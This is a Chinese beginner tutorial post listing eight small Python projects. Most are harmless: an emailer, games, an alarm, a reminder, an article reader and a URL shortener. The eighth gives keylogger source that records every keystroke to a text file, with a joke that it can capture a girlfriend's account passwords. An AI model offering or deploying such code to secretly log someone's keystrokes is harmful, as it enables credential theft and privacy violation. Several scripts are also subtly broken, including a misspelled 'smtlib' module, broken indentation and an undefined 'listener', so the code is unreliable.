8个简单实用的python实战项目

在这里插入图片描述

一、自动发送邮件

用Python编写一个可以发送电子邮件的脚本。

提示:email库可用于发送电子邮件。

import smtplib   
from email.message import EmailMessage  
email = EmailMessage() ## Creating a object for EmailMessage  
email\['from'\] = 'xyz name'   ## Person who is sending  
email\['to'\] = 'xyz id'       ## Whom we are sending  
email\['subject'\] = 'xyz subject'  ## Subject of email  
email.set\_content("Xyz content of email") ## content of email  
with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:       
\## sending request to server   
    smtp.ehlo()          ## server object  
smtp.starttls()      ## used to send data between server and client  
smtp.login("email\_id","Password") ## login id and password of gmail     
smtp.send\_message(email)   ## Sending email  
print("email send")    ## Printing success message  

二、Hangman(猜单词的游戏)

用Python创建一个简单的hangman猜单词游戏。

提示:创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示,让用户猜单词,如果用户猜对了,则将用单词替换掉“”。

import time  
import random  
name = input("What is your name? ")  
print ("Hello, " + name, "Time to play hangman!")  
time.sleep(1)  
print ("Start guessing...\\n")  
time.sleep(0.5)  
\## A List Of Secret Words  
words = \['python','programming','treasure','creative','medium','horror'\]  
word = random.choice(words)  
guesses = ''  
turns = 5  
while turns > 0:           
    failed = 0               
    for char in word:        
        if char in guesses:      
            print (char,end\="")      
        else:  
            print ("\_",end\=""),       
            failed += 1      
    if failed == 0:          
        print ("\\nYou won")   
        break                
    guess = input("\\nguess a character:")   
    guesses += guess                      
    if guess not in word:    
        turns -= 1          
        print("\\nWrong")      
        print("\\nYou have", + turns, 'more guesses')   
        if turns == 0:             
            print ("\\nYou Lose")  

三、闹钟

用Python编写一个创建闹钟的脚本。

提示:用date-time模块创建闹钟,然后用playsound库播放声音。

from datetime import datetime     
from playsound import playsound  
alarm\_time = input("Enter the time of alarm to be set:HH:MM:SS\\n")  
alarm\_hour\=alarm\_time\[0:2\]  
alarm\_minute\=alarm\_time\[3:5\]  
alarm\_seconds\=alarm\_time\[6:8\]  
alarm\_period = alarm\_time\[9:11\].upper()  
print("Setting up alarm..")  
while True:  
    now = datetime.now()  
    current\_hour = now.strftime("%I")  
    current\_minute = now.strftime("%M")  
    current\_seconds = now.strftime("%S")  
    current\_period = now.strftime("%p")  
    if(alarm\_period\==current\_period):  
        if(alarm\_hour\==current\_hour):  
            if(alarm\_minute\==current\_minute):  
                if(alarm\_seconds\==current\_seconds):  
                    print("Wake Up!")  
                    playsound('audio.mp3') ## download the alarm sound from link  
                    break  

四、石头剪刀布游戏

创建一个石头剪刀布的游戏,游戏者与与计算机PK。如果游戏者赢了,得分就会添加,看谁最终的得分最高。

提示:先判断游戏者的选择,然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜,则增加1分。

import random  
choices = \["Rock", "Paper", "Scissors"\]  
computer = random.choice(choices)  
player = False  
cpu\_score = 0  
player\_score = 0  
while True:  
    player = input("Rock, Paper or  Scissors?").capitalize()  
    # 判断电脑与游戏者的选择  
    if player == computer:  
        print("Tie!")  
    elif player == "Rock":  
        if computer == "Paper":  
            print("You lose!", computer, "covers", player)  
            cpu\_score+=1  
        else:  
            print("You win!", player, "smashes", computer)  
            player\_score+=1  
    elif player == "Paper":  
        if computer == "Scissors":  
            print("You lose!", computer, "cut", player)  
            cpu\_score+=1  
        else:  
            print("You win!", player, "covers", computer)  
            player\_score+=1  
    elif player == "Scissors":  
        if computer == "Rock":  
            print("You lose...", computer, "smashes", player)  
            cpu\_score+=1  
        else:  
            print("You win!", player, "cut", computer)  
            player\_score+=1  
    elif player\=='E':  
        print("Final Scores:")  
        print(f"CPU:{cpu\_score}")  
        print(f"Plaer:{player\_score}")  
        break  
    else:  
        print("That's not a valid play. Check your spelling!")  
    computer = random.choice(choices)  

五、提醒小工具

利用Python一个提醒小工具,在设定好的时间在桌面做提醒通知。

提示:跟踪提醒时间可以用Time模块,显示桌面通知可以用toastnotifier库。

安装:win10toast

from win10toast import ToastNotifier  
import time  
toaster = ToastNotifier()  
try:  
    print("Title of reminder")  
    header = input()  
    print("Message of reminder")  
    text = input()  
    print("In how many minutes?")  
    time\_min = input()  
    time\_min=float(time\_min)  
except:  
    header = input("Title of reminder\\n")  
    text = input("Message of remindar\\n")  
    time\_min=float(input("In how many minutes?\\n"))  
time\_min = time\_min \* 60  
print("Setting up reminder..")  
time.sleep(2)  
print("all set!")  
time.sleep(time\_min)  
toaster.show\_toast(f"{header}",  
f"{text}",  
duration=10,  
threaded=True)  
while toaster.notification\_active(): time.sleep(0.005)  

六、文章朗读器

用Python编写一个脚本,实现自动从提供的链接读取文章的功能。

import pyttsx3  
import requests  
from bs4 import BeautifulSoup  
url = str(input("Paste article url\\n"))  
  
  
def content(url):  
  res = requests.get(url)  
  soup = BeautifulSoup(res.text,'html.parser')  
  articles = \[\]  
  for i in range(len(soup.select('.p'))):  
    article = soup.select('.p')\[i\].getText().strip()  
    articles.append(article)  
    contents = " ".join(articles)  
  return contents  
engine = pyttsx3.init('sapi5')  
voices = engine.getProperty('voices')  
engine.setProperty('voice', voices\[0\].id)  
  
  
def speak(audio):  
  engine.say(audio)  
  engine.runAndWait()  
  
  
contents = content(url)  
\## print(contents)      ## In case you want to see the content  
  
  
#engine.save\_to\_file  
#engine.runAndWait() ## In case if you want to save the article as a audio file  

七、短网址生成器

用Python编写一个脚本,实现用API缩短指定URL的功能。

from \_\_future\_\_ import with\_statement  
import contextlib  
try:  
    from urllib.parse import urlencode  
except ImportError:  
    from urllib import urlencode  
try:  
    from urllib.request import urlopen  
except ImportError:  
    from urllib2 import urlopen  
import sys  
  
  
def make\_tiny(url):  
    request\_url = ('http://tinyurl.com/api-create.php?' +   
    urlencode({'url':url}))  
    with contextlib.closing(urlopen(request\_url)) as response:  
        return response.read().decode('utf-8')  
  
  
def main():  
    for tinyurl in map(make\_tiny, sys.argv\[1:\]):  
        print(tinyurl)  
  
  
if \_\_name\_\_ == '\_\_main\_\_':  
    main()  

八、键盘记录器

用Python编写一个脚本,实现将用户在键盘上按过的按键记录下来,并保存在一个文本文件中。

提示:控制键盘和鼠标的移动就不得不推荐pynput这个库了,它还可以用于制作键盘记录器,通过读取被按下的键,然后将它们保存在一个文本文件中。(咳咳,想知道女朋友的账号密码的可以好好学习下)

from pynput.keyboard import Key, Controller,Listener  
import time  
keyboard = Controller()  
  
  
  
  
keys\=\[\]  
def on\_press(key):  
    global keys  
    #keys.append(str(key).replace("'",""))  
    string = str(key).replace("'","")  
    keys.append(string)  
    main\_string = "".join(keys)  
    print(main\_string)  
    if len(main\_string)>15:  
      with open('keys.txt', 'a') as f:  
          f.write(main\_string)     
          keys\= \[\]       
def on\_release(key):  
    if key == Key.esc:  
        return False  
  
  
with listener(on\_press=on\_press,on\_release=on\_release) as listener:  
    listener.join()  

如果你想学python还不知道如何下手去学,如果你想学python苦于没有导师指导,如果你正在学python,但无法坚持下去,有困难也无人指导解答。我给大家准备了一份Python学习资料,里面的内容都是适合零基础学习的笔记和资料,评论区留言获取吧。

  • 15
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值